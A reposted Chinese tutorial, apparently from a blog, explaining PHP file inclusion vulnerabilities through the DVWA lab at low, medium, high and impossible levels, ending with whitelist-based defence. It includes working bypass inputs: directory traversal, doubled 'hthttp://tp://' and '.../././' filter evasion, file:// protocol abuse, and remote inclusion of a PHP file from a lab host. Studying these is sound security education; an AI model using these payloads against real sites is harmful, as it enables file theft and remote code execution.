返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >文件包含漏洞(原理及介绍)
  • 137
分享到

文件包含漏洞(原理及介绍)

php安全web安全 2023-09-05 15:09:26 137人浏览 独家记忆
摘要

文件包含漏洞(原理及介绍) File inclusion,文件包含(漏洞)。程序开发人员通常出于灵活性的考虑,会将被包含的文件设置成变量,然后动态调用这些文件。但正是因为调用的灵活性导致用户可能调用一

文件包含漏洞(原理及介绍)

File inclusion,文件包含(漏洞)。程序开发人员通常出于灵活性的考虑,会将被包含的文件设置成变量,然后动态调用这些文件。但正是因为调用的灵活性导致用户可能调用一些恶意文件,造成文件包含漏洞。文件包含漏洞分为本地文件包含漏洞和远程文件包含漏洞。

PS:程序开发人员通常会把可重复使用的函数写入到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程称为包含。

当php.ini开启allow_url_include时,就可以使用以下四个函数进行文件包含。再开启allow_url_fopen(默认关闭)就可以包含远程文件。

require(),找不到被包含的文件时会产生致命错误,并停止脚本运行。

include(),找不到被包含的文件时只会产生警告,脚本将继续运行。

include_once()与include()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。

require_()与require()类似,唯一的区别就是如果该文件中的代码已经被包含,则不会再次包含。

文件包含(low)
我们在C盘创建一个txt名为key,内容为123456,通过DVWA的low级别进行包含,在浏览器page=后面加上txt的路径,可以看到页面直接输出123456
在这里插入图片描述
但是在一般情况下我们是不知道对方的路径的,这里可通过…/来返回上一级目录,这里我通过5个…/返回到C盘下,然后包含key文件成功
远程包含,在kali开启apache,创建PHP文件内容为hello,在page=后面加上kali中php的路径Http://192.168.115.128/shell.php,可以看到页面输出了hello内容,以下为kali配置命令

kali:~ # service apache2 startkali:~ # service apache2 statuskali:~ # vim  /var/www/html/shell.php<?php      echo"hello"?>

文件包含(medium)
使用str_replace()函数将http:// https:// …/ …\替换成空字符

<?php// The page we wish to display$file = $_GET[ 'page' ];// Input validation$file = str_replace( array( "http://", "https://" ), "", $file );$file = str_replace( array( "../", "..\"" ), "", $file );?> 

可以使用双写绕过替换规则,例如写成page=hthttp://tp://192.168.115.128/phpinfo.php时,函数会将http://删除,其实等于page=http://192.168.115.128/phpinfo.php,先在kali写入php探针,成功执行远程命令

<?php      phpinfo();?>

在这里插入图片描述
当然,在本地包含中由于过滤了…/,可以写成…/./,过滤后也等于…/
例如192.168.115.130:89/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./key.txt

在这里插入图片描述
文件包含(high)
使用fnmatch()确保$file是以file开头

<?php// The page we wish to display$file = $_GET[ 'page' ];// Input validationif( !fnmatch( "file*", $file ) && $file != "include.php" ) {    // This isn't the page we want!    echo "ERROR: File not found!";    exit;}?> 

可以通过利用file伪协议绕过,如下所示

通过file协议进行代码执行,将key.txt内容改为phpinfo,这时也会把txt文本当作php代码执行
在这里插入图片描述

如果我们配合文件上传,传到DVWA目录中,改为jpg文件类型,同样会将jpg类型的文件当作php代码执行

在这里插入图片描述
文件包含(impossible)
用if语句来判断用户输入的数据是否是include.php,通过定义白名单进行防范

<?php// The page we wish to display$file = $_GET[ 'page' ];// Only allow include.php or file{1..3}.phpif( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {    // This isn't the page we want!    echo "ERROR: File not found!";    exit;}?> 

常见防范措施

基于白名单进行防御,确保page参数传递的只能是固定的文件名

文件包含可以与文件上传结合,可以上传图片文件,执行代码。要全面防御

来源地址:https://blog.csdn.net/Myx74270512/article/details/128234941

--结束END--

本文标题: 文件包含漏洞(原理及介绍)

本文链接: https://lsjlt.com/news/395582.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • 文件包含漏洞(原理及介绍)
    文件包含漏洞(原理及介绍) File inclusion,文件包含(漏洞)。程序开发人员通常出于灵活性的考虑,会将被包含的文件设置成变量,然后动态调用这些文件。但正是因为调用的灵活性导致用户可能调用一...
    99+
    2023-09-05
    php 安全 web安全
  • 【文件包含漏洞-03】文件包含漏洞的利用及如何利用本地文件包含漏洞GetShell
    文件包含漏洞的利用 读取敏感文件 我们可以利用文件包含漏洞读取任意文件,读取文件的时候有利用条件 目标主机文件存在(目标文件的路径、绝对路径、相对路径) 具有文件可读权限 提交参数http://localhost/include/...
    99+
    2023-09-05
    php 安全 Powered by 金山文档
  • 文件包含漏洞
    目录 🌻一、理论🍎1.什么是文件包含漏洞?🍎2.文件包含漏洞原因🍎3.文件包含函数🍎4.文件包含漏洞的分类&#x...
    99+
    2023-08-31
    web安全 php 文件包含漏洞
  • 文件包含漏洞——实例
    一、文件包含漏洞利用之本地包含配合文件上传包含图片马 原理: 文件上传漏洞在绕过内容检测的时候,会制作图片马上传,但是图片马在上传之后,又不能解析。如果网站同时存在文件包含漏洞,利用文件包含无视后缀名,只要被包含的文件内容符合PHP语法规范...
    99+
    2023-09-24
    安全 php 开发语言
  • 文件包含漏洞总结
    文件包含漏洞总结 CTF中文件包含漏洞0x01 什么是文件包含漏洞0X02 文件包含漏洞的环境要求0X03 常见文件包含函数0X04 PHP伪协议1、PHP:...
    99+
    2023-09-29
    php 文件包含漏洞
  • 文件包含漏洞详解
    文件包含漏洞详解 1.文件包含漏洞介绍1.1.文件包含漏洞解释1.2.文件包含漏洞原理1.3.文件包含的函数1.3.1.常见的文件包含函数1.3.2.PHP函数区别: 1.4.文件包含漏...
    99+
    2023-09-16
    web安全 网络安全 系统安全 http
  • DVWA之文件包含漏洞
    文件包含漏洞原理 1、什么是文件包含 程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含。 2、文件包含漏洞 程序开发人员一般希望代码更灵活,所以将被包含...
    99+
    2023-09-09
    php 安全 网络
  • 文件包含漏洞_练习
    CTFHup_练习 第一关_elval执行 发现源代码里面有一句话木马我们可以复制,地址到中国蚂🗡,然后把cmd填上  发现连接成功 第二个_文件包含 我们查看源代码发现里面有一个连接点开  点开之后发现有一个文件在里面就...
    99+
    2023-09-14
    开发语言 网络安全 php 前端
  • ctf include(文件包含漏洞)
    首先看到题目有个关键字include,我们就应该能够猜到这题的主要考点是文件包含 进入靶场 一进去,有个tips让我们点击,那我们点击进去瞅瞅。 果然不出所料,url上面显眼的‘file=’就是我...
    99+
    2023-10-21
    php 开发语言 网络安全
  • 浅谈文件包含之包含pearcmd.php漏洞
    文件包含之包含pearcmd.php漏洞 1.概念 pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的; 在7.4及以后,需要我们在编译PHP的时候指定--wit...
    99+
    2023-09-02
    php web安全 安全
  • dedecms远程文件包含漏洞
    利用前提存在重装漏洞 在自己网站准备一个远程文件 http://www.d.com/install/index.php.bakstep=11&insLockfile=a&s_lang=a&inst...
    99+
    2023-09-07
    php 安全 web安全
  • ThinkPHP文件包含漏洞分析
    出品|长白山攻防实验室(ID:A_Tree) 0x00 声明 以下内容,来自长白山攻防实验室的A_Tree作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作...
    99+
    2023-09-08
    安全 php web安全
  • PHP文件包含哪些漏洞
    这篇文章主要介绍了PHP文件包含哪些漏洞的相关知识,内容详细易懂,操作简单快捷,具有一定借鉴价值,相信大家阅读完这篇PHP文件包含哪些漏洞文章都会有所收获,下面我们一起来看看吧。漏洞描述文件包含漏洞的产生原因是在通过PHP的函数引入文件时,...
    99+
    2023-06-30
  • 文件操作之文件包含漏洞
    目录 本文仅供参考、交流、学习,如有违法行为后果自负 文件包含类型 原理方面 文件包含漏洞原理案例: 必要条件 那么如何去检测漏洞是否存在该漏洞? 白盒 黑盒 类型 本地文件包含 无限制  有限制 远程文件包含 无限制 有限制  利用 协议...
    99+
    2023-10-24
    php 开发语言
  • 文件包含漏洞利用之本地包含配合文件上传包含图片马&&文件包含漏洞利用之远程包含Webshell
    实验原理 文件上传漏洞在绕过内容检测的时候,会制作图片马上传,但是图片马在上传之后,又不能解析。如果网站同时存在文件包含漏洞,利用文件包含无视后缀名,只要被包含的文件内容符合PHP语法规范,任何扩展名都可以被PHP解析的特点来解析上传的图片...
    99+
    2023-10-26
    php 开发语言
  • php中什么文件包含漏洞
    这篇文章将为大家详细讲解有关php中什么文件包含漏洞,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。1、LFI本地文件包含漏洞,顾名思义,指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏洞都是...
    99+
    2023-06-15
  • 文件包含漏洞全面详解
    文件包含漏洞总结 一、什么是文件包含漏洞二、本地文件包含漏洞(LFI)三、LFI漏洞利用技巧1.配合文件上传使用2.包含Apache日志文件3.包含SESSION文件4.包含临时文件 四、...
    99+
    2023-08-31
    php web安全 开发语言
  • WEB渗透之文件包含漏洞
    1.文件包含 1.1原理: 服务器执行的php文件中可能包含木马文件或者恶意代码 1.2漏洞产生原因 web采用include()等文件包含函数通过动态变量的方式引入需要包含的文件 静态包含使用include指令,动态包含使用inclu...
    99+
    2023-09-12
    安全 web安全
  • ctf攻防渗透-文件包含-文件包含漏洞详解
    文件包含概念 程序开发人员会把重复使用的函数、变量、类等数据写到单个文件中,需要使用到里面的数据时直接调用此文件,而无需再次编写,这种文件调用的过程称为文件包含。 文件包含相关函数 require( ...
    99+
    2023-09-18
    安全 web安全
  • 第31天:WEB漏洞~文件操作之文件包含漏洞全解
    目录 1. 文件包含漏洞1.1. 原理、检测、类型、修复1.2. 无限制&有限制的包含1.2.1 本地包含1.2.2 远程包含 1.3. 协议流php://php://inputphp:...
    99+
    2023-10-06
    前端 php 安全
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作